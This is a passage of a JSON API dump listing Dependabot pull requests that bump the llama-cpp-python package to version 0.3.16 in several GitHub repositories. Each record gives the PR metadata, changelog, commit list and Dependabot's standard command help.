0.3.16","issue":{"uuid":"2862270437","node_id":"PR_kwDOCy7Bj86qmsfl","number":917,"state":"open","title":"Bump llama-cpp-python from 0.2.90 to 0.3.16","user":"dependabot[bot]","labels":["dependencies","python"],"assignees":[],"locked":false,"comments_count":0,"pull_request":true,"closed_at":null,"author_association":"NONE","state_reason":null,"created_at":"2025-09-26T01:08:27.000Z","updated_at":"2025-09-26T01:08:28.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"llama-cpp-python","old_version":"0.2.90","new_version":"0.3.16","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":null,"ecosystem":"pip"},"body":"Bumps [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) from 0.2.90 to 0.3.16.\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.16]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@4227c9be4268ac844921b90f31595f81236bd317\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.15]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@9a96389544a08fd829fccda28142ce2066017fde\u003c/li\u003e\n\u003cli\u003efeat: Add gpt-oss chat format support through strftime_now in chat format by \u003ca href=\"https://github.com/iamlemec\"\u003e\u003ccode\u003e@​iamlemec\u003c/code\u003e\u003c/a\u003e in af637928db7351e030011085f818b034c6efc047\u003c/li\u003e\n\u003cli\u003efix: rename op_offloat to op_offload in llama.py by \u003ca href=\"https://github.com/sergey21000\"\u003e\u003ccode\u003e@​sergey21000\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.14]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@79e0b68c178656bb0632cb8602d2940b755077f8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.13]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@bdca38376f7e8dd928defe01ce6a16218a64b040\u003c/li\u003e\n\u003cli\u003efix: Better chat format for Qwen2.5-VL by \u003ca href=\"https://github.com/alcoftTAO\"\u003e\u003ccode\u003e@​alcoftTAO\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2040\"\u003e#2040\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.12]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@a0374a67e2924f2e845cdc59dd67d9a44065a89c\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.11]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Update reference to \u003ccode\u003ellama_kv_cache_clear\u003c/code\u003e in Llama.embed. Closes \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2037\"\u003e#2037\u003c/a\u003e by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in 9e5a4eaa84156084ed7bbb91e6efcc91dc6217bc\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.10]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@8846aace4934ad29651ea61b8c7e3f6b0556e3d2\u003c/li\u003e\n\u003cli\u003efeat: Add support for llama.cpp multimodal, add Qwen2.5-VL chat handler by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in cd548bd0f14210627798237d5c2ea78acfb88ccb\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.9]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@8733e0cf6eefc7c7752297cc22d0836706f4222c\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.8]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@7841fc723e059d1fd9640e5c0ef19050fcc7c698\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.7]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@794fe23f29fb40104975c91fe19f23798f7c726e\u003c/li\u003e\n\u003cli\u003efix(ci): Fix the CUDA workflow by \u003ca href=\"https://github.com/oobabooga\"\u003e\u003ccode\u003e@​oobabooga\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1894\"\u003e#1894\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: error showing time spent in llama perf context print, adds \u003ccode\u003eno_perf\u003c/code\u003e flag to \u003ccode\u003eLlama\u003c/code\u003e class by \u003ca href=\"https://github.com/shakalaca\"\u003e\u003ccode\u003e@​shakalaca\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1898\"\u003e#1898\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.6]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f7cd13301c2a88f97073fd119072b4cc92c08df1\u003c/li\u003e\n\u003cli\u003efix(server): streaming resource lock by \u003ca href=\"https://github.com/gjpower\"\u003e\u003ccode\u003e@​gjpower\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1879\"\u003e#1879\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c37132bac860fcc333255c36313f89c4f49d4c8d\"\u003e\u003ccode\u003ec37132b\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ce6fd8bbc808196dea90dd259bbcd4301c69b0b5\"\u003e\u003ccode\u003ece6fd8b\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/dfc9bf503bb7d4be166410e525971509373bee0e\"\u003e\u003ccode\u003edfc9bf5\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/30ddd56e827e7fef6d5020809c574bdc0e166196\"\u003e\u003ccode\u003e30ddd56\u003c/code\u003e\u003c/a\u003e fix: rename op_offloat to op_offload in llama.py (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/af637928db7351e030011085f818b034c6efc047\"\u003e\u003ccode\u003eaf63792\u003c/code\u003e\u003c/a\u003e feat: Add gpt-oss chat format support through strftime_now in chat format by ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/68e89e86c8135e865995d088ca7e5f4a38370c20\"\u003e\u003ccode\u003e68e89e8\u003c/code\u003e\u003c/a\u003e misc: Add Python 3.13 classifier tag\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/d12ca479885bd530abf4543cd576b7eecb1b20e9\"\u003e\u003ccode\u003ed12ca47\u003c/code\u003e\u003c/a\u003e misc: Update pypi downloads badge\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/4f260288ff0f34801f1c2ede975093201c8dcf4c\"\u003e\u003ccode\u003e4f26028\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/e1af05f43f57d2b660edfb77935dd2d2641ec602\"\u003e\u003ccode\u003ee1af05f\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/95292e36c6cef7430cff0bda16578fe9f7303e01\"\u003e\u003ccode\u003e95292e3\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.2.90...v0.3.16\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=llama-cpp-python\u0026package-manager=pip\u0026previous-version=0.2.90\u0026new-version=0.3.16)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/ConnectionMaster/bugbug/pull/917","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/ConnectionMaster%2Fbugbug/issues/917","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/917/packages"}},{"old_version":"0.2.90","new_version":"0.3.16","update_type":"minor","path":"/cloud-deploy","pr_created_at":"2025-09-09T19:03:54.000Z","version_change":"0.2.90 → 0.3.16","issue":{"uuid":"2812985038","node_id":"PR_kwDOPsZyDs6nqr7O","number":8,"state":"closed","title":"chore(deps): bump llama-cpp-python from 0.2.90 to 0.3.16 in /cloud-deploy","user":"dependabot[bot]","labels":["dependencies","python"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2025-09-10T21:18:58.000Z","author_association":"NONE","state_reason":null,"created_at":"2025-09-09T19:03:54.000Z","updated_at":"2025-09-10T21:18:58.000Z","time_to_close":94504,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"llama-cpp-python","old_version":"0.2.90","new_version":"0.3.16","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":"/cloud-deploy","ecosystem":"pip"},"body":"Bumps [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) from 0.2.90 to 0.3.16.\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.16]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@4227c9be4268ac844921b90f31595f81236bd317\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.15]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@9a96389544a08fd829fccda28142ce2066017fde\u003c/li\u003e\n\u003cli\u003efeat: Add gpt-oss chat format support through strftime_now in chat format by \u003ca href=\"https://github.com/iamlemec\"\u003e\u003ccode\u003e@​iamlemec\u003c/code\u003e\u003c/a\u003e in af637928db7351e030011085f818b034c6efc047\u003c/li\u003e\n\u003cli\u003efix: rename op_offloat to op_offload in llama.py by \u003ca href=\"https://github.com/sergey21000\"\u003e\u003ccode\u003e@​sergey21000\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.14]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@79e0b68c178656bb0632cb8602d2940b755077f8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.13]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@bdca38376f7e8dd928defe01ce6a16218a64b040\u003c/li\u003e\n\u003cli\u003efix: Better chat format for Qwen2.5-VL by \u003ca href=\"https://github.com/alcoftTAO\"\u003e\u003ccode\u003e@​alcoftTAO\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2040\"\u003e#2040\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.12]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@a0374a67e2924f2e845cdc59dd67d9a44065a89c\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.11]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Update reference to \u003ccode\u003ellama_kv_cache_clear\u003c/code\u003e in Llama.embed. Closes \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2037\"\u003e#2037\u003c/a\u003e by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in 9e5a4eaa84156084ed7bbb91e6efcc91dc6217bc\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.10]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@8846aace4934ad29651ea61b8c7e3f6b0556e3d2\u003c/li\u003e\n\u003cli\u003efeat: Add support for llama.cpp multimodal, add Qwen2.5-VL chat handler by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in cd548bd0f14210627798237d5c2ea78acfb88ccb\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.9]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@8733e0cf6eefc7c7752297cc22d0836706f4222c\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.8]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@7841fc723e059d1fd9640e5c0ef19050fcc7c698\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.7]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@794fe23f29fb40104975c91fe19f23798f7c726e\u003c/li\u003e\n\u003cli\u003efix(ci): Fix the CUDA workflow by \u003ca href=\"https://github.com/oobabooga\"\u003e\u003ccode\u003e@​oobabooga\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1894\"\u003e#1894\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: error showing time spent in llama perf context print, adds \u003ccode\u003eno_perf\u003c/code\u003e flag to \u003ccode\u003eLlama\u003c/code\u003e class by \u003ca href=\"https://github.com/shakalaca\"\u003e\u003ccode\u003e@​shakalaca\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1898\"\u003e#1898\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.6]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f7cd13301c2a88f97073fd119072b4cc92c08df1\u003c/li\u003e\n\u003cli\u003efix(server): streaming resource lock by \u003ca href=\"https://github.com/gjpower\"\u003e\u003ccode\u003e@​gjpower\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1879\"\u003e#1879\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c37132bac860fcc333255c36313f89c4f49d4c8d\"\u003e\u003ccode\u003ec37132b\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ce6fd8bbc808196dea90dd259bbcd4301c69b0b5\"\u003e\u003ccode\u003ece6fd8b\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/dfc9bf503bb7d4be166410e525971509373bee0e\"\u003e\u003ccode\u003edfc9bf5\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/30ddd56e827e7fef6d5020809c574bdc0e166196\"\u003e\u003ccode\u003e30ddd56\u003c/code\u003e\u003c/a\u003e fix: rename op_offloat to op_offload in llama.py (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/af637928db7351e030011085f818b034c6efc047\"\u003e\u003ccode\u003eaf63792\u003c/code\u003e\u003c/a\u003e feat: Add gpt-oss chat format support through strftime_now in chat format by ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/68e89e86c8135e865995d088ca7e5f4a38370c20\"\u003e\u003ccode\u003e68e89e8\u003c/code\u003e\u003c/a\u003e misc: Add Python 3.13 classifier tag\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/d12ca479885bd530abf4543cd576b7eecb1b20e9\"\u003e\u003ccode\u003ed12ca47\u003c/code\u003e\u003c/a\u003e misc: Update pypi downloads badge\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/4f260288ff0f34801f1c2ede975093201c8dcf4c\"\u003e\u003ccode\u003e4f26028\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/e1af05f43f57d2b660edfb77935dd2d2641ec602\"\u003e\u003ccode\u003ee1af05f\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/95292e36c6cef7430cff0bda16578fe9f7303e01\"\u003e\u003ccode\u003e95292e3\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.2.90...v0.3.16\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=llama-cpp-python\u0026package-manager=pip\u0026previous-version=0.2.90\u0026new-version=0.3.16)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/ForceSensitiveSaiyan/guidant/pull/8","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/ForceSensitiveSaiyan%2Fguidant/issues/8","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/8/packages"}},{"old_version":"0.3.1","new_version":"0.3.16","update_type":"patch","path":null,"pr_created_at":"2025-09-05T20:10:34.000Z","version_change":"0.3.1 → 0.3.16","issue":{"uuid":"2803556416","node_id":"PR_kwDOPqoFRM6nGuBA","number":1,"state":"closed","title":"Bump llama-cpp-python from 0.3.1 to 0.3.16","user":"dependabot[bot]","labels":["dependencies","python"],"assignees":[],"locked":false,"comments_count":0,"pull_request":true,"closed_at":"2025-09-05T22:59:52.000Z","author_association":"CONTRIBUTOR","state_reason":null,"created_at":"2025-09-05T20:10:34.000Z","updated_at":"2025-09-05T22:59:52.000Z","time_to_close":10158,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"llama-cpp-python","old_version":"0.3.1","new_version":"0.3.16","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":null,"ecosystem":"pip"},"body":"Bumps [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) from 0.3.1 to 0.3.16.\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c37132bac860fcc333255c36313f89c4f49d4c8d\"\u003e\u003ccode\u003ec37132b\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ce6fd8bbc808196dea90dd259bbcd4301c69b0b5\"\u003e\u003ccode\u003ece6fd8b\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/dfc9bf503bb7d4be166410e525971509373bee0e\"\u003e\u003ccode\u003edfc9bf5\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/30ddd56e827e7fef6d5020809c574bdc0e166196\"\u003e\u003ccode\u003e30ddd56\u003c/code\u003e\u003c/a\u003e fix: rename op_offloat to op_offload in llama.py (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/af637928db7351e030011085f818b034c6efc047\"\u003e\u003ccode\u003eaf63792\u003c/code\u003e\u003c/a\u003e feat: Add gpt-oss chat format support through strftime_now in chat format by ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/68e89e86c8135e865995d088ca7e5f4a38370c20\"\u003e\u003ccode\u003e68e89e8\u003c/code\u003e\u003c/a\u003e misc: Add Python 3.13 classifier tag\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/d12ca479885bd530abf4543cd576b7eecb1b20e9\"\u003e\u003ccode\u003ed12ca47\u003c/code\u003e\u003c/a\u003e misc: Update pypi downloads badge\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/4f260288ff0f34801f1c2ede975093201c8dcf4c\"\u003e\u003ccode\u003e4f26028\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/e1af05f43f57d2b660edfb77935dd2d2641ec602\"\u003e\u003ccode\u003ee1af05f\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/95292e36c6cef7430cff0bda16578fe9f7303e01\"\u003e\u003ccode\u003e95292e3\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.3.1...v0.3.16\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=llama-cpp-python\u0026package-manager=pip\u0026previous-version=0.3.1\u0026new-version=0.3.16)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/AdilMubeen/graphRag/pull/1","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/AdilMubeen%2FgraphRag/issues/1","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/1/packages"}},{"old_version":"0.2.90","new_version":"0.3.16","update_type":"minor","path":null,"pr_created_at":"2025-09-01T06:17:53.000Z","version_change":"0.2.90 → 0.3.16","issue":{"uuid":"3371355948","node_id":"PR_kwDOB3H77M6mN0jk","number":5231,"state":"open","title":"Bump llama-cpp-python from 0.2.90 to 